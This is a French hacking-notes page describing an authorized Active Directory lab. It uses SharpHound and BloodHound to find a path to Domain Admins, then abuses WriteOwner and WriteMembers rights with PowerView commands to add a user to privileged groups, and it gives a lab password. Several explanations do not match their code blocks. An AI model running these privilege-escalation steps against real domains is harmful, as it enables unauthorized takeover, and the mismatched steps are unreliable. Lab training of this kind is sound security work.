> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md).
# Analyse avec BloodHound
Après avoir généré les objets vulnérables, vous pouvez relancer une collecte SharpHound :
{% code overflow="wrap" %}
```powershell
. ./SharpHound.exe
```
{% endcode %}
SharpHound génère un `.zip` .
Lancez ensuite BloodHound :
{% code overflow="wrap" %}
```powershell
bloodhound --no-sandbox &
```
{% endcode %}
Puis nous importons le `.zip` fichier dans BloodHound.
Après l’importation, nous pouvons voir :
* de nouveaux utilisateurs ;
* de nouveaux groupes ;
* les nouvelles ACL ;
* les chemins de privilège ;
* des relations entre objets.
### Trouver un chemin vers Domain Admin
Dans BloodHound, nous utilisons l’analyse :
{% code overflow="wrap" %}
```bash
Trouver les chemins les plus courts vers les Domain Admins
```
{% endcode %}
Cette requête trouve les chemins les plus courts vers le groupe des administrateurs du domaine.
Dans le laboratoire, BloodHound affiche par exemple un groupe :
```bash
IT ADMINS
```
Ce groupe contient plusieurs utilisateurs, tels que :
```bash
Deidre Corry
Lisette.pru
Gypsy.nelle
```
Nous pouvons ensuite analyser les relations entre groupes, par exemple :
```wasm
Project Management -> IT ADMINS -> Domain Admins
```
L’objectif est de comprendre comment une mauvaise configuration des permissions peut mener à un groupe privilégié.
### Exploitation d’une mauvaise configuration des ACL
> Cette étape n’est réalisée que dans un laboratoire autorisé.
Dans ce scénario, l’utilisateur `monica.cora` dispose d’un chemin exploitable vers le groupe :
```
IT ADMINS
```
Nous utiliserons nos droits pour prendre le contrôle de ce groupe, puis progresser vers un groupe plus privilégié.
### Connexion avec l’utilisateur monica.cora
Nous nous connectons avec l’utilisateur :
{% code overflow="wrap" %}
```
monica.cora
```
{% endcode %}
Mot de passe utilisé dans le laboratoire :
```
Password123$
```
Nous ouvrons une session PowerShell avec cet utilisateur :
Explication :
* `runas` lance un programme avec un autre utilisateur ;
* `/netonly` utilise ces identifiants uniquement pour l’accès réseau ;
* `powershell` ouvre une nouvelle session PowerShell.
### Chargement de PowerView
Dans la nouvelle session PowerShell :
{% code overflow="wrap" %}
```bash
Set-DomainObjectOwner -Identity "IT ADMINS" -OwnerIdentity monica.cora
```
{% endcode %}
Cela charge PowerView dans `monica.cora`la session de .
### Exploitation du droit WriteOwner
Le **WriteOwner** le droit permet de modifier le propriétaire d’un objet Active Directory.
Dans ce scénario, `monica.cora` devient le propriétaire du groupe :
```
IT ADMINS
```
Ordre :
{% code overflow="wrap" %}
```powershell
Add-DomainObjectAcl -TargetIdentity "IT ADMINS" -Rights WriteMembers -PrincipalIdentity monica.cora
```
{% endcode %}
Après cette étape, le propriétaire de l’objet devient :
```
WHOAMI/monica.cora
```
### Droit WriteMembers ajouté
Être propriétaire d’un objet permet généralement de modifier sa DACL.
Nous ajoutons donc à `monica.cora` le droit de modifier les membres du `IT ADMINS` groupe.
{% code overflow="wrap" %}
```powershell
Add-DomainGroupMember -Identity 'IT ADMINS' -Members 'monica.cora'
```
{% endcode %}
Ce droit permet `monica.cora` d’ajouter des membres au `IT ADMINS` groupe.
### monica.cora a été ajouté au groupe IT ADMINS
Nous ajoutons maintenant `monica.cora` au groupe :
{% code overflow="wrap" %}
```powershell
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'monica.cora'
```
{% endcode %}
Pour vérifier :
```wasm
Get-DomainGroupMember -Identity "IT ADMINS" | select MemberName
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/fr/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.